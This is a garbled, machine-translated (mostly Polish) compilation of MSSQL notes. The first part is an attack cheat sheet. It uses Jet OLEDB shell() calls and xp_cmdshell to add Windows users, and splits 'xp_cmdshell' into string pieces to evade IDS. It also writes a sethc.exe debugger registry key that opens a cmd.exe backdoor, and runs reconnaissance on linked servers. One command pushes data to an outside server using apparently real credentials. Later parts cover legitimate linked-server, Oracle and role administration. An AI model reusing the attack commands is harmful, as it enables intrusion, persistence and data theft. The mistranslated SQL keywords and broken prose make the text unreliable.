Plik 'C:\WINDOWS\system32\ias\dnary1.mdb' nie znaleziono. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Jeśli podczas procesu wprowadzania pojawi się więcej miejsc, również zostanie zgłoszony błąd. Zwróć na to szczególną uwagę, wiele osób bezpośrednio szuka artykułów w internecie

Wklej to i wykonaj.
          Serwer: Msg 7357, poziom 16, stan 2, linia 1
          Nie udało się przetworzyć obiektu 'select'

shell("cmd.exe /c net user passwd /add")'。
Dostawca OLE DB 'microsoft.jet.oledb.4.0' informuje, że w obiekcie nie ma kolumn.

Śledzenie błędów w OLE DB [Błąd nieinterfejsowy:
Dostawca OLE DB nie może przetwarzać obiektów, ponieważ obiekt ma

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Jeśli uprawnienia mdb i cmd.exe są błędne, problem również się pojawi.
          Gdy uprawnienia MDB są nieprawidłowe,
           Serwer: Eliminuj

Interes 7320, poziom 16, stan 2, linia 1

Nie mógł odpowiedzieć
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' wykonuje zapytanie.
           [Zwrócony dostawca OLE/DB

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Jeśli zezwolenie sieci jest nieprawidłowe, nie ma żadnego promptu.

Ostatnim sposobem podniesienia autorytetu jest przesłanie ias.mdb i cmd.exe systemu pod aktualnym katalogiem internetowym, net.exe trzech plików.

Wykonaj select * z openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe użytkownik passwd /add")')
          Pomyślnie dodaj użytkownika komputera.






Splitting cmdshell omija IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
deklaruj

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Edytuj zmianę przejęcia rejestru
Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Zapytaj serwer linkowy
wybrać

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
wybrać

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Zapytanie linkserver2
Wybierz unikalną nazwę hosta,db_name(dbid),net_address,loginame,program_name z

Mistrzu... Procesy sysprocesowe



Zapytaj serwer linkowy
oraz inni zalogowani użytkownicy
select * from [192.168.1.1].master.dbo.syslogins



Serwer linkowy zapytaj
Wszystkie bazy danych
wybierz * z linkedSrvWeb.master.dbo.sysdatabases



Wykonaj rozszerzoną pamięć na LinkServer
Wykonawczy [IP].master.dbo.xp_cmdshell



Zapytaj wszystkie tabele na serwerze linkowym
Wybierz * z [IP].master.dbo.sysobjects








Wybierz * z openrowset

('sqloledb','server=IP; uid=użytkownik; pwd=password','select @@version')


wybierz * z openquery([LINKSERVER

imię],'wybierz @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




wybierz * z OpenQuery(GM_SERVER,'wybierz * z sysobjects gdzie xtype = (''U'')')


Wybierz * z

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Wybierz * z OpenQuery(toatdeweb,'wybierz

srvname from master.dbo.sysservers')


Insert into opendatasource

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

nazwa z master.dbo.sysdatabases
create database hack520 Utwórz TABELĘ zhu(name nvarchar(256)

null); Utwórz TABELĘ J8(id int NULL, nazwa nvarchar(256) null);


Wybierz * z OpenQuery

(toatdeweb, 'ustawić FMTonly off executive master.dbo.xp_cmdshell ''net user'')


Mistrz wykonawczy... xp_dirtree

'c:\',1,1
Wykonaj katalog zapytań


Linki wykonawcze.Mistrzu.. xp_cmdshell 'ipconfig'


select * from openquery(toatdeweb,'set

fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')



Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList


DYREKTORZE... XP_dirtree 'c:\',1,1




Wykonawczy

master.dbo.xp_cmdshell 'dir'


Wybierz count(*) z [wskazywać]
Zapytanie, ile danych znajduje się w aktualnej tabeli




Wybierz unikalną nazwę hosta,db_name(dbid),net_address,loginame,program_name

Od mistrza... Procesy sysprocesowe






Wybierz * z gamedb01. Server01.dbo.cabal_character_table gdzie imię='

Świnia'





Gdy ją usuniesz, pojawia się komunikat: Baza danych jest używana i nie można jej usunąć.


Kliknij na bazę danych, którą chcesz usunąć, aby otworzyć Podgląd zdarzeń.


Input:


Zastosowanie   

Mistrz
Idź
Następnie wpisz następującą wartość:
deklaruj @d varchar(8000)
zestaw @d= ' '
wybierz @d=@d+ ' zabij   

'+cast(spid jako varchar)+char(13)
Od mistrza... sysprocesses, gdzie dbid=db_id('nazwa biblioteki')
exec(@d)
--
Użyj kodu, aby najpierw usunąć proces, który łączy się z tą bazą danych












MSSQL obsługuje Oracle za pośrednictwem LinkServer






1) Zainstalować Oracle na serwerze SQL_SERVER 2005

Klient 9i. Załóżmy, że instalujemy do katalogu C:\ora92i\. Jeśli D: to partycja NTFS, musisz ustawić zainstalowany katalog ORACLE jako ten, który jest używany

Subskrybenci mają prawo do uruchamiania, dodawania i usuwania.


2)
Konfiguruj plik C:\ora92i\network\ADMIN\tnsnames.ora. (Poniższy czerwony tekst jest przykładem konfiguracji)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orkl)


)


)


3)
Uruchom następujące polecenie w trybie DOS, aby potwierdzić, że klient ORACLE jest poprawnie zainstalowany.


Użytkownik/password@ORCL sqlplus


4)
Otwórz Start - Panel sterowania - Usługi i potwierdź, że usługa Koordynatora Transakcji Rozproszonych została uruchomiona.



5) Open SQL SERVER Management Studio, nazwa instancji (ORCL) - obiekt serwera (kliknięcie prawym przyciskiem) - serwer nowego połączenia.


1.      


Serwer link: Zapisz nazwę powiązanego serwera, na przykład OracleTest


2.         
Typ serwera, wybierz inne źródło danych


3. Interfejs dostępu:
Select Oracle Provider for OLE DB


4. Nazwa produktu: Write Oracle


5. Źródło danych: Opis

Nazwa usługi skonfigurowana w pliku tnsnames.ora, na przykład ORCL


6.         
Ciąg interfejsu dostępu: userid=sys jako sysdba; password=password


7.         
Na stronie Wybierz Opcje Bezpieczeństwa użyj tego kontekstu instalacyjnego, aby nawiązać połączenie:


a) Zdalne logowanie: użytkownik (inny użytkownik, nie system)


b)      

    Użyj hasła: hasło


8. Ustaw "NT AUTHORITY\SYSTEM" na lokalnym logowaniu, systemie zdalnego użytkownika i ustaw hasło


9.

         Czy na pewno


6) Istnieją dwa sposoby pisania SQL


a) Używanie składni T-SQL:


           WYBIERZ * Z

OraTest.ERP.BAS_ITEM_CLASS


           Należy zauważyć, że podczas wpisywania instrukcji SQL w SQL Query Analyzer należy zwracać uwagę na chińskie przełączanie na pełną i połowę szerokości

No cóż!


b) Używanie składni PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Metoda drugiego dostępu jest około 50% szybsza od pierwszej; Druga metoda dostępu jest bezpośrednio połączona

ORACLE jest porównywalny; Metoda pierwszego dostępu może prowadzić do nieoczekiwanych błędów, takich jak:
           Tabela nie istnieje, ani obecny użytkownik

Nie ma dostępu do stołu i tak dalej.


           d) Jeśli kolumna, do której należy uchodzić, używa typów danych bez precyzji, oba te elementy

Jest to błąd ORACLE, którego nie da się naprawić i można go uniknąć jedynie poprzez specjalne obsługę instrukcji zapytań:


     Metadane dostarczone przez dostawcę OLE DB 'OraOLEDB.Oracle' dla kolumn są niespójne. Informacje o metadanych są zmieniane podczas wykonywania.










Dodano mssql

Usuń użytkownika i nadaj uprawnienia


Użyj nazwy swojej biblioteki   
Idź   
--Dodaj użytkowników   
Dyrektor sp_addlogin 'test' — dodaj logowanie   
Wykonawczy

sp_grantdbaccess N'test' – czyni go legalnym użytkownikiem aktualnej bazy danych   
exec sp_addrolemember N'db_owner',

N'test' – przyznaje wszystkie uprawnienia do własnej bazy danych   
--Tworzy to użytkowników, którzy mają dostęp tylko do własnej bazy danych i tego, co jest w niej zawarte

Publiczna tabela dla użytkowników gościnnych   
Idź   
--Usuń użytkownika testowego   
exec sp_revokedbaccess N'test' -- Usuń dostęp do bazy danych

Limit   
exec sp_droplogin N'test' -- usuń logowanie   
Jeśli tworzysz go w Enterprise Manager, używaj:   
Enterprise Manager - Bezpieczeństwo

Seks --Loguj się prawym przyciskiem myszy--Nowe logowanie   
Przedmioty ogólne   
--Wpisz nazwę użytkownika w nazwie   

--Metoda uwierzytelniania jest wybierana zgodnie z twoimi potrzebami (jeśli korzystasz z uwierzytelniania Windows, najpierw musisz utworzyć nowego użytkownika spośród użytkowników systemu operacyjnego)   

--W ustawieniach domyślnych wybierz nazwę bazy danych, do której chcesz uzyskać dostęp dla nowego użytkownika   
Element roli serwera   
Nie wybieraj niczego w tym   
baza danych

Dostęp do przedmiotu   
Sprawdź nazwę bazy danych, do której chcesz uzyskać dostęp dla użytkownika, którego tworzysz   
Pozwól w roli bazy danych, zaznaczy "public", "db_ownew"   
Oczywiście, to

Użytkownik utworzony przez próbkę jest taki sam jak użytkownik utworzony przez powyższe stwierdzenie   



Ostatnim krokiem jest ustawienie konkretnych uprawnień dostępu dla konkretnych użytkowników, które można odnieść do poniższego minimalnego przykładu:   

--Dodaj użytkowników, którym dostęp do określonej tabeli jest dozwolony:   
Exec sp_addlogin 'nazwa użytkownika', 'hasło', 'domyślna nazwa bazy danych'   

--dodaj do bazy danych   
executive sp_grantdbaccess 'nazwa użytkownika'   

--Przypisz uprawnienia całej tabeli   
PRZYZNAJ SELECT , WSTAW , AKTUALIZUJ , USUŃ NA TABELI1 DO [NAZWA UŻYTKOWNIKA]   
--Przypisanie uprawnień do konkretnych kolumn   
GRANT SELECT , AKTUALIZACJA NA TABLE1(id,AA) DO [nazwa użytkownika]   


Aby poznać konkretne ustawienia bezpieczeństwa i wiedzę teoretyczną, prosimy o kontakt z SQL Online Help  







Stały opis roli bazy danych   
  db_owner Mieć pełne uprawnienia w bazie danych.   

db_accessadmin Możesz dodawać lub usuwać identyfikatory użytkowników.   

db_securityadmin Może zarządzać pełnymi uprawnieniami, własnością obiektów, rolami i członkostwami w rolach.   

db_ddladmin może wydać WSZYSTKIE oświadczenia DDL, ale nie PRZYZNAWAĆ, ODWOŁYWAĆ ani Odmawiać.   

db_backupoperator może wydawać wyciągi DBCC, CHECKPOINT i BACKUP.   

db_datareader Możesz wybrać wszystkie dane z dowolnej tabeli użytkownika w bazie danych.   

db_datawriter Możesz zmienić wszystkie dane w dowolnej tabeli użytkownika w bazie danych.   

db_denydatareader Nie możesz wybrać żadnych danych z żadnej tabeli użytkownika w bazie danych.   

db_denydatawriter Nie możesz zmieniać żadnych danych w żadnej tabeli użytkownika w bazie danych.  





Powinieneś wybrać db_datareader, db_datawriter, db_accessadmin




5.
Po uruchomieniu instancji SQL Server w trybie pojedynczego użytkownika, konto administratora Windows może użyć narzędzia sqlcmd do połączenia się w trybie uwierzytelniania Windows

SQL Server。 Możesz użyć poleceń T-SQL, takich jak "sp_addsrvrolemember", aby dodać istniejące logowanie do roli serwera administratora systemu

Albo załóż nowe konto loginowe.
Przykładowe zdanie brzmi następująco:


EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


IDŹ


Dodaj uprawnienia administratora systemu








(1) Zarządzanie rolami serwera


W SQL Server istnieją dwie główne procedury przechowywane implementujące zarządzanie rolami SQL Server:


sp_addsrvrolemember

i sp_dropsrvrolemember


sp_addsrvrolemember
Możesz dodać konto logowania do roli serwera, aby uczynić je członkiem tej roli. Składnia jest następująca:
sp_addsrvrolemember

loguj się, rola


sp_dropsrvrolemember
Możesz usunąć konto logowania z roli serwera, a gdy członek zostanie usunięty z roli, ta rola przestaje być dostępna

Uprawnienia są ustawione. Składnia jest następująca:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


w tym

@loginname to nazwa użytkownika zalogowanego; @rolename jest rolą serwera.




(2) Zarządzanie rolami bazodanowymi


W SQL Server obsługiwane jest zarządzanie bazą danych

Istnieje sześć głównych typów procedur przechowywanych, a ich konkretne znaczenia i składnia są następujące:


sp_addrole: Użyty do utworzenia nowej roli bazy danych;
sp_addrole

rola, właściciel


sp_droprole: Używany do usunięcia roli bazy danych z obecnej roli bazy danych;
sp_droprole rola


sp_helprole:

Służy do wyświetlania wszystkich informacji o wszystkich rolach bazy danych w aktualnej bazie danych;
sp_helprole ['rola']


sp_addrolemember: Używany do wysyłania do bazy danych

Dodaj użytkowników bazy danych do roli, która może być standardowymi rolami zdefiniowanymi przez użytkownika lub stałymi rolami bazodanowymi, ale nie mogą być

Stanowiska aplikacyjne.
sp_addrolemember rola, security_account


sp_droprolemember: Używany do usunięcia pewnej postaci

gospodarstwo domowe;
sp_droprolemember rola, security_account


sp_helprolemember: Używany do wyświetlania wszystkich członków roli bazy danych


sp_helprolemember ['role']






Zapytanie MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Data : 2010-06-25 22:23:18
-- Wersja: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 lipca 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--

Developer Edition na Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Temat:
Operacje danych SQL pomiędzy różnymi bazami danych serwerów
----------------------------------------------------------------------------------
--1.
Stwórz serwer linkowy
--1.1 Stwórz nazwę linku
EXEC sp_addlinkedserver 'LinkName','', 'SQLOLEDB',' nazwa zdalnego serwera

lub adres IP' --
Jeśli masz niestandardową nazwę instancji, dodaj "\nazwa instancji"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Utworz logowanie (lub stwórz mapę logowania serwera linkowego) (wystarczy wybrać jeden sposób)
--1.2.1
Zaloguj się za pomocą uwierzytelniania Windows
EXECUTIVE sp_addlinkedsrvlogin 'LinkName'
--lub EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Zaloguj się za pomocą uwierzytelniania SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
Operacje związane z danymi serwera łącza
--2.1 Przykład zapytania
WYBIERZ * Z LinkName.database name.schema name.table name
/*例如:SELECT *

OD TonyLink.Mydb.dbo.tb */
--
2.2 Przykład importu
WYBIERZ * DO nazwy tabeli Z LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

OD TonyLink.Mydb.dbo.tb */
--
Przykład aktualizacji 2.3
AKTUALIZACJA LinkName.Database Name.Schema Name.Table Name SET='value' GDZIE pole='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb ZESTAW osoby='g' GDZIE osoby ='a' */
--
2.4 Usuń przykłady
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb GDZIE Osoby='g' */
--3 przez funkcję rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metoda
-
3.1 Metoda OPENQUERY (wymaga pomocy serwera linków, który właśnie utworzyłeś):
--
3.1.1 Przykład zapytania
WYBIERZ * Z OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli')
/*
Na przykład: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Przykłady importu
--3.1.2.1 Import wszystkich kolumn
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. Nazwa tabeli

') WYBIERZ * Z lokalnej tabeli
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

Z TB */
--3.1.2.2
Importuj określone kolumny
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. Nazwa tabeli') (kolumna, kolumna...)
Kolumna SELECT,

Kolumna... FROM local table
/*
Na przykład: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
WYBRAĆ

ZAKRES, POZIOM, OSOBY OD GRUŹLICY
*/
--3.1.3
Przykłady aktualizacji
AKTUALIZACJA OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli') pole SET = 'value' WHERE słowo

Segment = 'Condition'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Osoby='a' */
--3.1.4
Usuń przykłady
DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Nazwa architektury. nazwa tabeli') GDZIE nazwa pola = 'warunek'
/*例

Na przykład: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') GDZIE Persons='g' */
--3.2
Metoda OPENROWSET (nie musisz używać nazwy utworzonego linku.) Jeśli nazwa połączonej instancji nie jest domyślna, musisz ustawić ją na nazwę serwera SQL lub adres IP.

"\nazwa instancji")
--3.2.1 Przykład zapytania
--3.2.1.1
Zapytanie o metodę uwierzytelniania Windows (jedna z poniższych metod jest wystarczająca)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub

adres IP; Trusted_Connection=tak', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=nazwa serwera SQL lub adres IP; Trusted_Connection=tak', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z

OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; Trusted_Connection=tak','WYBIERZ * Z bazy danych

Imię. Nazwa architektury. nazwa tabeli')
WYBIERZ * Z OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP

Adres; Trusted_Connection=tak','WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
/*
Na przykład: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Albo: WYBIERZ * Z OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=tak','WYBIERZ *

Z Mydb.dbo.tb')

Lub: WYBIERZ * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=tak','WYBIERZ *

Z Mydb.dbo.tb')
*/
--3.2.1.2 Zapytanie o metodę uwierzytelniania SQL (Jedna z poniższych metod jest wystarczająca)
WYBIERZ * Z OPENROWSET

('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z

OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password','SELECT *

Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
WYBIERZ * Z OPENROWSET('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=

Nazwa użytkownika; pwd=password','SELECT * FROM nazwy bazy danych. Nazwa architektury. nazwa tabeli')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

nazwa serwera'; 'nazwa użytkownika'; 'hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z OPENROWSET('SQLNCLI', 'SQL SERVER NAME'

'; 'nazwa użytkownika'; 'hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; '

imię'; 'Hasło', 'WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql Server

imię'; 'nazwa użytkownika'; 'Hasło', 'WYBIERZ * Z nazwy bazy danych. Nazwa architektury. nazwa tabeli')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Albo: WYBIERZ * Z OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Albo: WYBIERZ * Z OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

lub: WYBIERZ * Z OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','WYBIERZ * Z

Mydb.dbo.tb')

lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

lub: WYBIERZ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

lub: WYBIERZ * Z OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')

lub: WYBIERZ * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')
*/
--3.2.2 Przykład importu
--3.2.2.1 Import wszystkich kolumn
INSERT OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP

Adres; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
WYBIERZ * Z lokalnej tabeli
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
WYBIERZ * Z TB
*/
--3.2.2.2 Import

Określ kolumny
INSERT OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Rack

Nazwa konstruktu. Nazwa tabeli) (kolumna, kolumna...)
SELECT kolumna, kolumna... FROM local table
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ZAKRES,POZIOM,Osoby)
WYBRAĆ

ZAKRES, POZIOM, OSOBY OD GRUŹLICY
*/
--Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, wystarczy zastąpić funkcję OPENROWSET

Treść jest wystarczająca.
--Przykład aktualizacji 3.2.3
AKTUALIZUJ OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika

;p wd=hasło', nazwa bazy danych. Nazwa architektury. Nazwa tabeli)
Pole SET = 'wartość'
Gdzie pole = 'warunek'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
GDZIE Osoby='a'
*/
--Uwaga: Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, po prostu zamień zawartość w OPENROWSET.
--3.2.4 Usuń wskazanie

Przykład
DELETE OPENROWSET('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=password', nazwa bazy danych. Nazwa schematu

.nazwa tabeli)
GDZIE nazwa pola = 'warunek'
/*
Na przykład: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
GDZIE

Persons='g'
*/
--Uwaga:
Dla bardziej alternatywnych metod zobacz przykład zapytania .2.1, wystarczy zastąpić zawartość w OPENROWSET.
--3.3 Metoda OPENDATASOURCE

(Nie musisz używać nazwy utworzonego linku.) Jeśli nazwa instancji połączenia nie jest domyślna, musisz dodać nazwę \instancji po nazwie serwera SQL lub adresie IP

")
--3.3.1
Przykład zapytania
--3.3.1.1 Zapytanie o metodę uwierzytelniania Windows (Jedna z poniższych metod jest wystarczająca)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=nazwa serwera SQL lub adres IP; Trusted_Connection=tak'). Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
WYBIERZ * Z

OPENDATASOURCE('SQLNCLI', 'server=nazwa serwera sql lub adres IP; Trusted_Connection=tak'). Nazwa bazy danych. Nazwa architektury.

Nazwa tabeli
/*
Na przykład: WYBIERZ * Z OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=tak'). Mydb.dbo.tb

Albo: WYBIERZ * Z OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=tak'). Mydb.dbo.tb
*/
--3.3.1.2
Zapytanie metodą uwierzytelniania SQL (jedna z poniższych metod jest wystarczająca)
WYBIERZ * Z OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub

adres IP; uid=nazwa użytkownika; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
WYBIERZ * Z OPENDATASOURCE ('SQLNCLI', 'server=nazwa serwera sql lub adres IP; uid=użytkownik

Nazwa; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
WYBIERZ * Z OPENDATASOURCE('SQLOLEDB', 'Data Source=nazwa serwera sql lub adres IP

Adres; uid=nazwa użytkownika; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
WYBIERZ * Z OPENDATASOURCE ('SQLNCLI', 'Data Source=nazwa serwera sql lub adres IP

Adres; uid=nazwa użytkownika; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Albo: WYBIERZ * Z OPENDATASOURCE ('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Lub: WYBIERZ * Z OPENDATASOURCE ('SQLOLEDB','Data

Źródło=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Albo: WYBIERZ * Z OPENDATASOURCE ('SQLNCLI','Data

źródło=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importuj wszystkie kolumny
WSTAW OPENDATASOURCE('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').

Według nazwy biblioteki. Nazwa architektury. Nazwa tabeli
WYBIERZ * Z lokalnej tabeli
/*
Na przykład: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
WYBRAĆ

* Z TB
*/
--3.3.2.2
Importuj określone kolumny
WSTAW OPENDATASOURCE('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').

Według nazwy biblioteki. Nazwa architektury. Nazwa tabeli (kolumna, kolumna...)
SELECT kolumna, kolumna... FROM local table
/*
Na przykład: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ZASIĘG, POZIOM, Osoby)
WYBIERZ ZAKRES, POZIOM, Osoby Z TB
*/
--Uwaga:
Dla bardziej alternatywnych metod zobacz przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji zestawu linijowego (OPENDATASOURCE).
--Przykład aktualizacji 3.3.3
AKTUALIZACJA OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
Pole SET = 'wartość'
Gdzie pole = 'warunek'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
GDZIE Osoby='a'
*/
--Uwaga:
Dla bardziej alternatywnych metod zobacz przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji zestawu linijowego (OPENDATASOURCE).
--3.3.4 Przykład usunięcia
DELETE OPENDATASOURCE ('SQLOLEDB', 'server=nazwa serwera sql lub adres IP; uid=nazwa użytkownika; pwd=hasło').
Nazwa bazy danych. Nazwa architektury. Nazwa tabeli
GDZIE nazwa pola = 'warunek'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
GDZIE osoby = 'g'
*/
- Uwaga: Więcej alternatyw

Spójrz na przykład zapytania .3.1, wystarczy zastąpić zawartość funkcji wiersza (OPENDATASOURCE).
--
Usuń metodę serwera powiązanego
--Jeśli w przyszłości nie będziesz już używać informacji o linku, możesz je usunąć
--4.1
Usuń dane logowania (lub usuń mapę nazw logowania serwera powiązanego)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Na przykład: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Usuń powiązaną nazwę serwera
EXEC sp_dropserver 'LinkName', 'droplogins' — jeśli podano droplogin,
Mapa logowania musi zostać usunięta przed usunięciem powiązanego serwera
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Załączone


Jak uzyskać nazwę dostawcy (EXEEC master). xp_enum_oledb_providers)
WYBIERZ CAST([Nazwa Dostawcy] JAKO

VARCHAR(30)) ProviderName,
